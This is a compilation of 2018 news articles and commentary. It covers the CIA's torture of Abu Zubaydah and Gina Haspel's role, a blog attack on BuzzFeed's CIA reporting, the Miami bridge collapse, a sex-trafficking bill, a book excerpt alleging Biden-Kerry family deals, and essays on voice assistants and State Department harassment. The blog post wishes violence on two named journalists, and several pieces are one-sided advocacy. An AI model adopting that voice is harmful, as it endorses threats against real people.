The 31-year-old Zubaydah begged for mercy, saying that he knew nothing about the terror group's future plans. The CIA official in charge, known in agency lingo as the ''chief of base,'' mocked his complaints, accusing Zubaydah of faking symptoms of psychological breakdown. The torture continued.
When questions began to swirl about the Bush administration's use of the ''black sites,'' and program of ''enhanced interrogation,'' the chief of base began pushing to have the tapes destroyed. She accomplished her mission years later when she rose to a senior position at CIA headquarters and drafted an order to destroy the evidence, which was still locked in a CIA safe at the American embassy in Thailand. Her boss, the head of the agency's counterterrorism center, signed the order to feed the 92 tapes into a giant shredder.
By then, it was clear that CIA analysts were wrong when they had identified Zubaydah as the number three or four in al-Qaida after Osama bin Laden. The waterboarding failed to elicit valuable intelligence not because he was holding back, but because he was not a member of al-Qaida, and had no knowledge of any plots against the United States.
The chief of base's role in this tale of pointless brutality and evidence destruction was a footnote to history '-- until earlier this month, when President Trump named her deputy director of the CIA.
The choice of Gina Haspel for the second-highest position in the agency has been praised by colleagues but sharply criticized by two senators who have seen the still-classified records of her time in Thailand.
''Her background makes her unsuitable for the position,'' Sen. Ron Wyden, D-Ore., and Sen. Martin Heinrich, D-N.M., wrote in a letter to Trump. ''We are sending a classified letter explaining our position and urge that the information be immediately declassified.''
Read the StoryIn Their Own Words: CIA Cables Document Agency's Torture of Abu ZubaydahA trove of recently released cables and Zubaydah's own declassified account describe what happened when the al Qaeda suspect was held at secret prison.That's not likely to happen. ProPublica has combed through recently declassified documents, including CIA cables and Zubaydah's own account of what he endured, and books by officials involved in the CIA's interrogation program to assemble the fullest public account of Haspel's role in the questioning of Zubaydah. The material we reviewed shows she played a far more direct role than has been understood.
Asked to respond to the specific allegations about Haspel, a CIA spokesperson said only that, ''Nearly every piece of the reporting that you are seeking comment on is incorrect in whole or in part.'' We reminded the spokesperson that many of the specifics came from books written by former CIA officials and cleared before publication by the agency. He declined to say which aspects of the reporting, or those books, were incorrect but did provide a long list of testimonials to Haspel's skills from present and former intelligence officials.
Critics of Haspel's appointment argue that her past is particularly relevant in light of Trump's shifting statements on the value of torturing terror suspects. During the campaign, former director of Central Intelligence Michael Hayden said in response to Trump's endorsement of torture that ''if any future president wants (the) CIA to waterboard anybody, he'd better bring his own bucket.'' After he won the election, Trump said he was persuaded by his secretary of defense, James Mattis, that torture is not effective. The Trump administration recently drafted and then withdrew a draft executive order asking American intelligence agencies to consider resuming ''enhanced interrogation'' of terror suspects.
Much of the material we reviewed for this story referred to Haspel only by her title, chief of base, or ''COB.'' Three former government officials, however, said the person described by that title in books and declassified documents was Haspel. As chief of base, these officials said, Haspel signed many of the cables sent from Thailand to CIA headquarters recounting Zubaydah's questioning. The declassified versions of those documents redact the name of the official who sent them.
One declassified cable, among scores obtained by the American Civil Liberties Union in a lawsuit against the architects of the ''enhanced interrogation'' techniques, says that chief of base and another senior counterterrorism official on scene had the sole authority power to halt the questioning.
She never did so, records show, watching as Zubaydah vomited, passed out and urinated on himself while shackled. During one waterboarding session, Zubaydah lost consciousness and bubbles began gurgling from his mouth. Medical personnel on the scene had to revive him. Haspel allowed the most brutal interrogations by the CIA to continue for nearly three weeks even though, as the cables sent from Thailand to the agency's headquarters repeatedly stated, ''subject has not provided any new threat information or elaborated on any old threat information.''
At one point, Haspel spoke directly with Zubaydah, accusing him of faking symptoms of physical distress and psychological breakdown. In a scene described in a book written by one of the interrogators, the chief of base came to his cell and ''congratulated him on the fine quality of his acting.'' According to the book, the chief of base, who was identified only by title, said: ''Good job! I like the way you're drooling; it adds realism. I'm almost buying it. You wouldn't think a grown man would do that.''
Haspel was sent by the chief of the CIA's counterterrorism section, Jose Rodriquez, the ''handpicked warden of the first secret prison the CIA created to handle al-Qaida detainees,'' according to a little-noticed recent article in Reader Supported News by John Kiriakou, a former CIA counterterrorism officer. In his memoir, ''Hard Measures,'' Rodriquez refers to a ''female chief of base'' in Thailand but does not name her.
Kirakou provided more details about her central role. ''It was Haspel who oversaw the staff,'' at the Thai prison, including James Mitchell and Bruce Jessen, the two psychologists who ''designed the torture techniques and who actually carried out torture on the prisoners,'' he wrote.
Kiriakou pleaded guilty in 2012 to releasing classified information about waterboarding and the torture of detainees, and served 23 months in prison.
The CIA officials in Thailand understood that the methods they were using could kill Zubaydah and said that should that happen, they would cremate his body. If he survived questioning, Haspel sought assurances that ''the subject will remain in isolation and incommunicado for the remainder of his life.''
So far, that promise has been kept. Zubaydah is currently incarcerated at Guantanamo. His lawyers filed a court action in 2008 seeking his release, but the federal judges overseeing the case have failed to issue any substantive rulings.
Zubaydah was seized in a raid in Pakistan in late March 2002, during which he suffered life-threatening bullet wounds in his leg and groin. The CIA had long been hunting for Zubaydah, who had worked as what one former government official described as ''administrator'' at a terrorist training camp in Afghanistan. The camp was started by the CIA during the Soviet occupation, was not under the control of al-Qaida or Osama bin Laden, the official said, but Zubaydah had on occasion supplied false passports and money to al-Qaida operatives.
American doctors saved Zubaydah's life, and after he was stable enough he was drugged, gagged, trussed and blindfolded, and put on a CIA charter flight. In order to avoid being traced, the plane flew around the world, stopping in several places, including Morocco and Brazil, before landing in Thailand.
While still hospitalized, Zubaydah was interrogated by the FBI, led by Ali Soufan, an Arabic speaker. According to Soufan, Zubaydah, who was generally cooperative, provided the FBI interrogators with valuable intelligence on the overall structure of al-Qaida.
His information also confirmed what the CIA already believed, that Khalid Sheik Mohammed was the mastermind of the 9/11 attacks. A talkative sort who expressed a willingness to cooperate, Zubaydah gave the FBI information that led to the arrest of Jose Padilla for plotting to detonate bombs in the United States. Zubaydah, who was born in Palestine, said that while he believed in jihad, the 9/11 attacks were not justified because they killed innocent civilians.
CIA officials were convinced that he knew about plots in America, and with the horror of 9/11 still fresh, the agency was determined to prevent another attack. A month after Zubaydah was captured, Haspel drafted a cable titled ''Turning Up the Heat in AZ Interrogations.''
Soon after, he was put into isolation for 45 days, kept awake with loud music and doused with cold water. During this time, the ALEC team at CIA headquarters, which was assigned to find Osama bin Laden, sent questions to Thailand for the team to ask Zubaydah; they went unasked, and unanswered, because he was in isolation.
The FBI and CIA clashed over whether or not Zubaydah was fully cooperating on the subject of possible future attacks. The agency's view prevailed, and counterterrorism officials sought permission for harsher measures.
In late July, the CIA team conducted a ''dress rehearsal '... which choreographed moving Abu Zubaydah (Subject) in and out of the large and small confinement boxes, as well as use of the water board,'' Haspel notified Washington.
A few days later, she wrote, ''Team is ready to move to the next phase of interrogations immediately upon receipt of approvals/authorization from ALEC/Headquarters. It is our understanding that DOJ/Attorney General approvals for all portions of the next phase, including the water board, have been secured, but that final approval is in the hands of the policy makers.''
By this time, the source on whom the CIA had based its assessment that Zubaydah was number three or four in the al-Qaida organization had recanted his testimony, according to the Senate Intelligence Committee Report on Torture released in 2014. The agency would ultimately conclude that Zubaydah was not even a member of al-Qaida.
Read the Story''So it begins,'' a medical officer on Haspel's team wrote on the morning of Aug. 4, 2002.
Later that year, when journalists began asking the CIA and the White House about a ''black site,'' in Thailand, the CIA rushed to close it. Zubaydah was again drugged, trussed, blindfolded, and put on another secret CIA flight to another black site, this time in Poland.
Haspel moved to cover up the agency's operations at the Thai base. The chief of base told the security officer ''to burn everything that he could in preparation for sanitizing the black site,'' Mitchell wrote in his book, ''Enhanced Interrogation: Inside the Minds and Motives of the Islamic Terrorists Trying to Destroy America,'' which was published late last year.
According to Mitchell's account, the security officer asked the chief of base whether he should include the tapes; he was told to hold off until ''she'' could check with Washington.
She was told to retain them. A few years later when she was back in Washington and chief of staff to the director of operations for counterterrorism, Jose Rodriquez, the man who had sent her to Thailand, she continued to lobby for destruction of the tapes.
''My chief of staff drafted a cable approving the action we had been trying to accomplish for so long,'' Rodriquez writes in his memoir. ''The cable left nothing to chance. It even told them how to get rid of the tapes. They were to use an industrial-strength shredder to do the deed.''
Without approval from the White House or Justice Department, Rodriquez gave the order.
In a twist of fate, destroying the tapes drew more outside scrutiny of the program. Disclosure of the shredding prompted the Senate Intelligence Committee to begin its long-running examination of the torture program. The result was a 7,000-page report that drew on thousands of highly classified cables relating to the Bush administration's rendition and detention program and concluded torture was not effective.
BuzzFeed Outs CIA Covert Kill Team Leader Because We Have the Need to Know and For the Clicks
Sun, 18 Mar 2018 01:23
Yesterday, BuzzFeed took a step away from posting cat videos and a step toward going full-Philip-Agee.
For you kids, Philip Agee was a rogue CIA operative who tried to defect to the Soviet Union but they rejected him as unstable. So Agee defected to Cuba. While in exile, he wrote a book call Inside the Company that exposed not only tactics, techniques, and procedures used by CIA case officers in recruiting and managing agents but it also listed some 250 covert CIA agents, people known to Agee, by location and cover. This, as you may imagine, had unfortunate consequences not only for the agents we'd recruited but for some of the 250 CIA operatives he outed. MI-6 lost a couple of highly placed agents in Poland. And the U.S. CIA Chief of Station in Athens, Richard Welch, was targeted by terrorists and assassinated. Eventually, Agee set up a newsletter dedicated to outing CIA agents and eventually exposed well over 1,000 of them.
It was because of Agee and Welch that Congress enacted the Intelligence Identities Protection Act which criminalizes revealing the identities of covert operatives. Unfortunately, we most often associate this law with the farcical hounding of Scooter Libby over the Valerie Plame affair.
Back to BuzzFeed:
The Central Intelligence Agency has been deploying small teams of commandos to kill selected suspected terrorists, according to two sources familiar with the program.
The program, which has not been previously disclosed, is coordinated by units from the CIA's Special Activities Center, which oversees the agency's paramilitary capability, the sources said.
Full disclosure: I don't have a problem with killing terrorists and anyone who associates with them. I'd much rather that we do it up-close-and-personal, where we might have the chance of taking a prisoner or two or retrieving documents rather than obliterating the target and everything around it via a Hellfire missile launched from a drone.
Now we get to really crappy part of BuzzFeed's sorry act:
The Special Activities Center is now led by a former commando at the agency. BuzzFeed News is withholding his name at the request of the CIA. Until this spring, he was a senior aide to Pompeo, and before that, he served under John Brennan, Pompeo's predecessor. He was, according to a source who knows him, a vocal proponent of more aggressive and audacious operations, and he pushed for the use of the SAC to kill terrorists.
'...
The SAC chief is an old friend of Louis W. Bremer, a top manager at powerful private equity fund Cerberus Capital Management. The two attended the Air Force Academy at the same time. Cerberus, which has invested heavily in military and intelligence contracting companies, is headed by Stephen Feinberg, a Trump ally who reportedly pushed to use contractors rather than uniformed armed forces in Afghanistan, and to ''give the C.I.A. control over operations in Afghanistan,'' according to a New York Times article last summer. Erik Prince, founder of the private security firm Blackwater and brother of Trump's education secretary Betsy DeVos, has been pushing a similar plan.
'...
In a photo seen by BuzzFeed News, Bremer poses with the undercover SAC chief.
It isn't going to take very much ambition to figure out who the program head is. And after that, finding where he lives becomes child's play. There is absolutely nothing in this section that adds to the story. It is strictly a gratuitous effort of out a covert operative and to increase the risk for him if he continues running this program.
The Special Activities Center, previously known as the Special Activities Division, houses the CIA's Ground Branch, a group of commandos; the Air Branch, which has intelligence, attack, and transport aircraft; and the Maritime Branch. All three branches have been on a recruitment and hiring and acquisition binge, according to the two sources familiar with the program.
The Ground Branch, shortened to just ''Branch'' or ''GB,'' inside the agency, is made up of elite fighters, often taken from the ranks of SEALs, Delta Force, and Marine Special Operations Command. They are dubbed Paramilitary Operations Officers, or PMOO, which they pronounce ''peemoo.'' In the past, they were largely seen as support staff, helping case officers on projects, or for training foreign forces. Now they are used in direct actions and are operating on their own.
There are only about 100 or so of these fighters, but under Trump the numbers have been growing.
This is just another example of how the left is perfectly willing to kill you in order to win a policy debate they have already lost inside the system. BuzzFeed has decided that its sensibilities are offended by the CIA expanding it use of paramilitary officers. Now, unable to change that decision, they have decided to up the ante by making the identity of the leader virtually public. This in turn places his family at risk and they might even hope that if the guy pushing the program gets scared that the program, itself, will die. If he happens to get killed, well First Amendment, right?
Arom Roston, the author of this piece, and Ben Smith deserve whatever fate should befall them. I don't care whether it is prosecution or somebody kicking in their door at 3 a.m. to give them a taste of what they've wished on this CIA officer.
Florida Bridge Collapse
Builder of Miami's collapsed bridge has a strange connection to Paul Manafort
Sun, 18 Mar 2018 13:09
'Fake memos': Trump has Sunday morning Twitter meltdown over Mueller getting McCabe's bombshell notes
Everybody is pointing to a notorious tweet after the Donald Trump Jr. divorce news
Former FBI agent scorches Fox's Brit Hume for trying to justify Trump's firing of McCabe
WATCH: Kate McKinnon absolutely kills it playing a clueless Betsy DeVos on SNL's Weekend Update
Top Mormon thinkers: Conservative Christians will never again be able to claim the moral high ground after Trump
SNL opens with devastating takedown of Trump's firing of McCabe and Tillerson
Maher panel proposes a new way of taking down the NRA '-- and the gun organization should be afraid
Grifter California deputies allegedly ripped off elderly woman then put her on a plane to the Philippines
'Are the Trump people stupid?': CNN security expert claims McCabe firing has 'unleashed' him to go after the president
Trump freaks out about 'fake news' after reports emerge that McCabe kept detailed memos on their meetings
Designer of fallen Florida bridge also did new I-35W span in Minneapolis | Star Tribune
Sun, 18 Mar 2018 03:07
Emergency personnel respond after a brand-new pedestrian bridge collapsed onto a highway at Florida International University in Miami on Thursday, March 15, 2018. The pedestrian bridge collapsed onto the highway crushing multiple vehicles and killing... '-- Pedro Portal, Associated Press
See more of the storyThe company that designed a pedestrian bridge that collapsed in Florida is the same company that designed the new Interstate 35W bridge in Minnesota, after the old span collapsed more than 10 years ago.
The engineering company is FIGG Bridge Group. Its new pedestrian bridge in Miami was hailed as a technological innovation before it collapsed Thursday, killing several people.
Kevin Gutknecht, communications director for the Minnesota Department of Transportation, described his agency's work with FIGG in a statement.
Gutknecht said MnDOT has a rigorous inspection program where all bridges are inspected at least once every two years, and bridges deemed ''structurally deficient'' are inspected annually.
''All of the bridges FIGG has designed were inspected either last year or this year,'' he said. ''Two of them, Hwy 43 in Winona and I-90 in La Crescent, are new structures (opened within the last two years.) We have had no issues with any of the structures FIGG has worked on.''
FIGG said in a statement that it's stunned by the collapse. The cause is under investigation, but authorities said Friday that cables were being tightened when it collapsed.
In 2007, the Interstate 35W bridge collapsed in Minneapolis, killing 13 people and injuring 145. After that tragedy, FIGG was selected to design the replacement bridge that is currently in use.
FIGG also designed the Wabasha Freedom Bridge in St. Paul.
More with this story
Net Neutrality
Senate Likely to Pass Bill Limiting Websites' Immunity in Sex-Trafficking Cases - WSJ
Sun, 18 Mar 2018 11:37
WASHINGTON'--Senate leaders are pushing ahead with legislation aimed at curbing online sex trafficking, despite last-minute efforts by some tech companies and their allies to soften or slow down the effort.
The measure, which the Senate is expected to consider next week, would help prosecutors and victims take to court websites that have facilitated the internet sex business by limiting the broad federal immunity online businesses now enjoy for actions of their users. The immunity law was adopted in the 1990s as a way to nurture the fledgling internet. Trafficking lawsuits against online businesses have usually been tossed out of court because of the immunity.
Backers of the legislation say it is needed to combat an epidemic of online trafficking, which often involves minors. Momentum has been growing for the legislation, and it is expected to pass the Senate.
Senate Majority Leader Mitch McConnell (R., Ky.) brought up the legislation late last week, and passage could come as soon as Tuesday. The Houselast month passed it by a wide margin after adding an amendment that concerned the online firms because it carves out an exception to the immunity rule that the companies want to preserve.The tech industry has approached the legislation with caution. On the one hand, many companies don't want to publicly oppose a measure aimed at curbing sex trafficking. But they also see the immunity law as a legal pillar of the internet and fear that removing it would subject them to costly lawsuits and erode a protection that has helped the internet flourish.
That quandary has left an industry typically aligned together on policy issues divided on tactics and sending mixed signals about its position.
For several years, big internet companies such as FacebookInc. and AlphabetInc.'s Google unit resisted any changes to the federal immunity law, fearing that carving out even a narrow exception for sex trafficking could open the door to exceptions for other harms perpetrated on the internet.But determined efforts by advocacy groups as well as key lawmakers, including Sens. Rob Portman (R., Ohio), Richard Blumenthal (D., Conn.) and Rep. Ann Wagner (R., Mo.), have helped turn the tide on the issue. That has persuaded some big tech firms to switch to supporting the move.
In fact, Facebook has openly advocated for its passage. Just hours before the House vote, Chief Operating Officer Sheryl Sandberg said in a post that ''we at Facebook support efforts to pass amended legislation in the House that would allow responsible companies to continue fighting sex trafficking while giving victims the chance to seek justice against companies that knowingly facilitate'' the business.
Major tech associations also have splintered on their approach.
In the fall, as big internet companies were in the spotlight during investigations and hearings into the Russia-meddling scandal, the Internet Association endorsed the legislation.But other tech groups that include many of the same members continued to fight, urging lawmakers to resist far-reaching changes or at least slow down the process.
The next battleground will come over proposed amendments to the legislation that have been circulated by Sen. Ron Wyden (D., Ore.), a longtime opponent of efforts to amend the immunity standard. His amendments would guarantee extra funding for prosecution of sex traffickers and would encourage tech businesses to take steps to combat trafficking on their platforms, without becoming targets for lawsuits.
Some tech advocates have been urging the Senate to adopt the amendments, saying they would make the legislation less harmful.
''If the Senate won't pass Wyden's amendments, it isn't serious about protecting the victims of sex trafficking,'' Berin Szoka, president of TechFreedom, a conservative group that receives support from Google, said in a press release on Friday.
But some victim-rights groups say the amendments could effectively kill the legislation, by sending it back to the House for another vote.
In a letter to senators, former Rep. Linda Smith, now president of Shared Hope International, said: ''I urge you to not allow this incredible progress to be derailed by tweaks and refinements that will effectively 'love this bill to death.'''The Trump administration says it supports the effort, while expressing a few qualms about details of the new legislation, such as whether the law could punish conduct that occurred before it was passed.
Elite$
''Inside the shady private equity firm run by Kerry and Biden's kids | New York Post
Thu, 15 Mar 2018 21:34
News
By Peter Schweizer
March 15, 2018 | 8:52am
John Kerry (left) and Joe Biden. AP
'Secret Empires' by Peter Schweizer ''My frustration,'' writes Peter Schweizer in his new book, ''Secret Empires: How the American Political Class Hides Corruption and Enriches Family and Friends,'' ''is not that the solid reporting on Trump has been too tough, but that the reporting on the Obama administration has been way too soft or in some cases nonexistent.'' The author of the 2016 sensation ''Clinton Cash'' says Trump and his children didn't invent the blurring of government and business, and details a number of ethical violations on both sides of the political aisle. One example: the little-noticed private equity firm run by the sons of Democrats Joe Biden and John Kerry, as detailed in this exclusive first excerpt.
Joe Biden and John Kerry have been pillars of the Washington establishment for more than 30 years. Biden is one of the most popular politicians in our nation's capital.
His demeanor, sense of humor, and even his friendly gaffes have allowed him to form close relationships with both Democrats and Republicans. His public image is built around his ''Lunch Bucket Joe'' persona. As he reminds the American people on regular occasions, he has little wealth to show for his career, despite having reached the vice presidency.
One of his closest political allies in Washington is former senator and former Secretary of State John Kerry. ''Lunch Bucket Joe'' he ain't; Kerry is more patrician than earthy. But the two men became close while serving for several decades together in the US Senate. The two ''often talked on matters of foreign policy,'' says Jules Witcover in his Biden biography.
So their sons going into business together in June 2009 was not exactly a bolt out of the blue.
But with whom their sons cut lucrative deals while the elder two were steering the ship of state is more of a surprise.
What Hunter Biden, the son of America's vice president, and Christopher Heinz, the stepson of the chairman of the Senate Committee on Foreign Relations (later to be secretary of state), were creating was an international private equity firm. It was anchored by the Heinz family alternative investment fund, Rosemont Capital. The new firm would be populated by political loyalists and positioned to strike profitable deals overseas with foreign governments and officials with whom the US government was negotiating.
Hunter Biden, Vice President Joe Biden's youngest son, had gone through a series of jobs since graduating from Yale Law School in 1996, including the hedge-fund business.
By the summer of 2009, the 39-year-old Hunter joined forces with the son of another powerful figure in American politics, Chris Heinz. Senator John Heinz of Pennsylvania had tragically died in a 1991 airplane crash when Chris was 18. Chris, his brothers, and his mother inherited a large chunk of the family's vast ketchup fortune, including a network of investment funds and a Pennsylvania estate, among other properties. In May 1995, his mother, Teresa, married Senator John Kerry of Massachusetts. That same year, Chris graduated from Yale, and then went on to get his MBA from Harvard Business School.
Hunter Biden (left) with father Joe Biden following the inauguration ceremony of President Barack Obama, Jan. 20, 2009. REUTERS Joining them in the Rosemont venture was Devon Archer, a longtime Heinz and Kerry friend.
The three friends established a series of related LLCs. The trunk of the tree was Rosemont Capital, the alternative investment fund of the Heinz Family Office. Rosemont Farm is the name of the Heinz family's 90-acre estate outside Fox Chapel, Pennsylvania.
The small fund grew quickly. According to an email revealed as part of a Securities and Exchange Commission investigation, Rosemont described themselves as ''a $2.4 billion private equity firm co-owned by Hunter Biden and Chris Heinz,'' with Devon Archer as ''Managing Partner.''
The partners attached several branches to the Rosemont Capital trunk, including Rosemont Seneca Partners, LLC, Rosemont Seneca Technology Partners, and Rosemont Realty.
Of the various deals in which these Rosemont entities were involved, one of the largest and most troubling concerns was Rosemont Seneca Partners.
Rather than set up shop in New York City, the financial capital of the world, Rosemont Seneca leased space in Washington, DC. They occupied an all-brick building on Wisconsin Avenue, the main thoroughfare of exclusive Georgetown. Their offices would be less than a mile from John and Teresa Kerry's 23-room Georgetown mansion, and just two miles from both Joe Biden's office in the White House and his residence at the Naval Observatory.
In short, the Chinese government was literally funding a business that it co-owned along with the sons of two of America's most powerful decision makers.
Over the next seven years, as both Joe Biden and John Kerry negotiated sensitive and high-stakes deals with foreign governments, Rosemont entities secured a series of exclusive deals often with those same foreign governments.
Some of the deals they secured may remain hidden. These Rosemont entities are, after all, within a private equity firm and as such are not required to report or disclose their financial dealings publicly.
Some of their transactions are nevertheless traceable by investigating world capital markets. A troubling pattern emerges from this research, showing how profitable deals were struck with foreign governments on the heels of crucial diplomatic missions carried out by their powerful fathers. Often those foreign entities gained favorable policy actions from the United States government just as the sons were securing favorable financial deals from those same entities.
Nowhere is that more true than in their commercial dealings with Chinese government-backed enterprises.
Rosemont Seneca joined forces in doing business in China with another politically connected consultancy called the Thornton Group. The Massachusetts-based firm is headed by James Bulger, the nephew of the notorious mob hitman James ''Whitey'' Bulger. Whitey was the leader of the Winter Hill Gang, part of the South Boston mafia. Under indictment for 19 murders, he disappeared. He was later arrested, tried, and convicted.
James Bulger's father, Whitey's younger brother, Billy Bulger, serves on the board of directors of the Thornton Group. He was the longtime leader of the Massachusetts state Senate and, with their long overlap by state and by party, a political ally of Massachusetts Senator John Kerry.
Less than a year after opening Rosemont Seneca's doors, Hunter Biden and Devon Archer were in China, having secured access at the highest levels. Thornton Group's account of the meeting on their Chinese-language website was telling: Chinese executives ''extended their warm welcome'' to the ''Thornton Group, with its US partner Rosemont Seneca chairman Hunter Biden (second son of the now Vice President Joe Biden).''
The purpose of the meetings was to ''explore the possibility of commercial cooperation and opportunity.'' Curiously, details about the meeting do not appear on their English-language website.
Also, according to the Thornton Group, the three Americans met with the largest and most powerful government fund leaders in China '-- even though Rosemont was both new and small.
The timing of this meeting was also curious. It occurred just hours before Hunter Biden's father, the vice president, met with Chinese President Hu in Washington as part of the Nuclear Security Summit.
Chris Heinz (left) with John Kerry at a campaign fundraiser, April 16, 2004. Dennis Van Tine There was a second known meeting with many of the same Chinese financial titans in Taiwan in May 2011. For a small firm like Rosemont Seneca with no track record, it was an impressive level of access to China's largest financial players. And it was just two weeks after Joe Biden had opened up the US-China strategic dialogue with Chinese officials in Washington.
On one of the first days of December 2013, Hunter Biden was jetting across the Pacific Ocean aboard Air Force Two with his father and daughter Finnegan. The vice president was heading to Asia on an extended official trip. Tensions in the region were on the rise.
The American delegation was visiting Japan, China, and South Korea. But it was the visit to China that had the most potential to generate conflict and controversy. The Obama administration had instituted the ''Asia Pivot'' in its international strategy, shifting attention away from Europe and toward Asia, where China was flexing its muscles.
For Hunter Biden, the trip coincided with a major deal that Rosemont Seneca was striking with the state-owned Bank of China. From his perspective, the timing couldn't have been better.
Vice President Biden, Hunter Biden and Finnegan arrived to a red carpet and a delegation of Chinese officials. Greeted by Chinese children carrying flowers, the delegation was then whisked to a meeting with Vice President Li Yuanchao and talks with President Xi Jinping.
Hunter and Finnegan Biden joined the vice president for tea with US Ambassador Gary Locke at the Liu Xian Guan Teahouse in the Dongcheng District in Beijing. Where Hunter Biden spent the rest of his time on the trip remains largely a mystery. There are actually more reports of his daughter Finnegan's activities than his.
What was not reported was the deal that Hunter was securing. Rosemont Seneca Partners had been negotiating an exclusive deal with Chinese officials, which they signed approximately 10 days after Hunter visited China with his father. The most powerful financial institution in China, the government's Bank of China, was setting up a joint venture with Rosemont Seneca.
Often those foreign entities gained favorable policy actions from the United States government just as the sons were securing favorable financial deals from those same entities.
The Bank of China is an enormously powerful financial institution. But the Bank of China is very different from the Bank of America. The Bank of China is government-owned, which means that its role as a bank blurs into its role as a tool of the government. The Bank of China provides capital for ''China's economic statecraft,'' as scholar James Reilly puts it. Bank loans and deals often occur within the context of a government goal.
Rosemont Seneca and the Bank of China created a $1 billion investment fund called Bohai Harvest RST (BHR), a name that reflected who was involved. Bohai (or Bo Hai), the innermost gulf of the Yellow Sea, was a reference to the Chinese stake in the company. The ''RS'' referred to Rosemont Seneca. The ''T'' was Thornton.
The fund enjoyed an unusual and special status in China. BHR touted its ''unique Sino-US shareholding structure'' and ''the global resources and network'' that allowed it to secure investment ''opportunities.'' Funds were backed by the Chinese government.
In short, the Chinese government was literally funding a business that it co-owned along with the sons of two of America's most powerful decision makers.
The partnership between American princelings and the Chinese government was just a beginning. The actual investment deals that this partnership made were even more problematic. Many of them would have serious national security implications for the United States.
In 2015, BHR joined forces with the automotive subsidiary of the Chinese state-owned military aviation contractor Aviation Industry Corporation of China (AVIC) to buy American ''dual-use'' parts manufacturer Henniges.
AVIC is a major military contractor in China. It operates ''under the direct control of the State Council'' and produces a wide array of fighter and bomber aircraft, transports, and drones '-- primarily designed to compete with the United States.
The company also has a long history of stealing Western technology and applying it to military systems. The year before BHR joined with AVIC, the Wall Street Journal reported that the aviation company had stolen technologies related to the US F-35 stealth fighter and incorporated them in their own stealth fighter, the J-31. AVIC has also been accused of stealing US drone systems and using them to produce their own.
In September 2015, when AVIC bought 51 percent of American precision-parts manufacturer Henniges, the other 49 percent was purchased by the Biden-and-Kerry-linked BHR.
Henniges is recognized as a world leader in anti-vibration technologies in the automotive industry and for its precise, state-of-the-art manufacturing capabilities. Anti-vibration technologies are considered ''dual-use'' because they can have a military application, according to both the State Department and Department of Commerce.
The technology is also on the restricted Commerce Control List used by the federal government to limit the exports of certain technologies. For that reason, the Henniges deal would require the approval of the Committee on Foreign Investment in the United States (CFIUS), which reviews sensitive business transactions that may have a national security implication.
According to BHR internal documents, the Henniges deal included ''arduous and often-times challenging negotiations.'' The CFIUS review in 2015 included representatives from numerous government agencies including John Kerry's State Department.
The deal was approved in 2015.
Excerpted with permission from ''Secret Empires: How the American Political Class Hides Corruption and Enriches Family and Friends,'' by Peter Schweizer, published by Harper Collins. The book goes on sale March 20.
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#MeToo
Stop Yelling At Alexa: In The Age Of #MeToo, Digital Assistants Deserve Our Respect | Cognoscenti
Sun, 18 Mar 2018 11:52
CommentaryIn this Wednesday, Sept. 27, 2017, file photo, a new Amazon Echo is displayed during a program announcing several new Amazon products by the company, in Seattle. (Elaine Thompson/AP)Like what you read here? Sign up for our twice-weekly newsletter.
My son, Wes, was 2 years old when he decided to wear a watch. He asked for help sliding an Elsa (from ''Frozen'') watch '-- once loved and then discarded by his big sister '-- over his tiny wrist, pushing it up his arm until it fit snugly around his elbow. Then, he hardly looked at it. Instead, he started yelling.
Siri, play Cars!
Siri, play Trolls!
Grrrrrrrrrrrrrr! Siri! Siri! Siriiiiiiiiiiiiiiiiii!
There was no response, of course '-- from Siri, or Elsa, or anyone. He started swinging his arm around angrily, yelling ''Siri!'' at the top of his lungs until I finally implored him, ''Wes, stop screaming at that watch!''
Why was he shouting at this obviously not-smart watch? And even if he thought it'd respond, why did he get so angry?
It's problematic that we often treat the all-female artificial intelligence administrative workforce inhumanely.
Well, like most of the bad habits children pick up, he'd learned it from his parents, or, more specifically: he learned it from me. He has seen me speak commands into my Apple watch countless times and usually, Siri responds on cue.
And yes, admittedly, if Siri doesn't respond immediately '-- or with the intended result '-- I get frustrated. I may even raise my voice at her from time to time.
Did you catch that? I wrote her. Not him. Not it. To me, Siri is female. I could choose a male voice, but that's not Siri to me, not really.
Smart home products like the Amazon Echo and Google Home were top sellers last holiday season and, like Siri, the disembodied voices that live inside those devices are also female. Or, rather, their voices sound like female voices, so we think of them as female.
They are the personal assistants that live inside our phones, watches and smart home devices. They are also more fully developed robots. ''Tonight Show'' host Jimmy Fallon engaged in an awkward conversation on his show with Hanson Robotics' Sophia. Or maybe you've heard of Osaka University professor Hiroshi Ishiguro's robot called Erica. And let's not forget the stars of the British documentary, ''The Sex Robots are Coming.'' All of those robots are female, or, at least, female-like.
There are practical reasons to make robots sound or appear female: Studies show that men and women respond better to female voices. And, traditionally, administrative assistants '-- the roles that Siri, Alexa and the like, purportedly fill '-- have been women.
But maybe this offloading of administrative tasks to artificial intelligence is an opportunity to rethink, rather than rehash, the status quo.
It's problematic that we often treat the all-female artificial intelligence administrative workforce inhumanely. Think of the way we get their attention: ''Hey Siri!'' or, more curtly, ''Alexa!'' Or, how we react when they don't do as they're told. I already admitted to raising my voice sometimes, and now my kids do too. We would never talk to their mother, my wife, that way. (And that's to say nothing of the inappropriate questions Siri is asked: ''What are you wearing?'' is a popular one.)
As the tide of our culture turns in the wake of the #MeToo movement and women everywhere are emboldened to speak out against the abuse and harassment, sexual or otherwise, perhaps this is also the moment to speak up on behalf of virtual assistants.
I decided to try out the male voice that Apple offers for Siri. My kids had mixed reviews. Nelly, my daughter prefers the female voice, ''because it's so pretty.'' Wes, on the other hand, said, ''I want to do the daddy one.'' My wife likes the male voice, but thinks he should have a different name. (She suggested ''Frank.'')
Changing the voices of our virtual assistants is one option. But that's only a band-aid solution. I ought to be more careful about how I interact with Siri: No more raising my voice or getting easily frustrated. I've even started saying ''please'' and ''thank you.''
Fortunately, good habits catch on quickly in our family. We got a Google Home Mini for Christmas and the kids' favorite thing is to ask is, ''Hey Google, tell me a joke '... please.''
The jokes aren't great, but we still say ''thank you.''
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Jonathan D. FitzgeraldCognoscenti contributor
Jonathan D. Fitzgerald is a writer and a PhD candidate in English at Northeastern University.
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#StateToo: Retired ambassador calls out 'persistent' sexual harassment at State Dept - CNNPolitics
Sun, 18 Mar 2018 14:37
"When I declined, I was excluded from meetings and professional opportunities as he very publicly shunned me at both official and private events," Bassett, now retired, adds. "I told no one."
Bassett, who spoke with CNN ahead of the article's publication, said she was inspired by the recent #MeToo movement, which has sought to counter sexual harassment and violence using the power of social media. She told CNN she hopes the effort will help "foster faster institutional change in the national security agencies, including the State Department."
On another occasion, Bassett says a different boss called her up late one night, and wanted to know what she was wearing. Bassett was the second highest-ranking official in the embassy at the time, and her boss was the US ambassador.
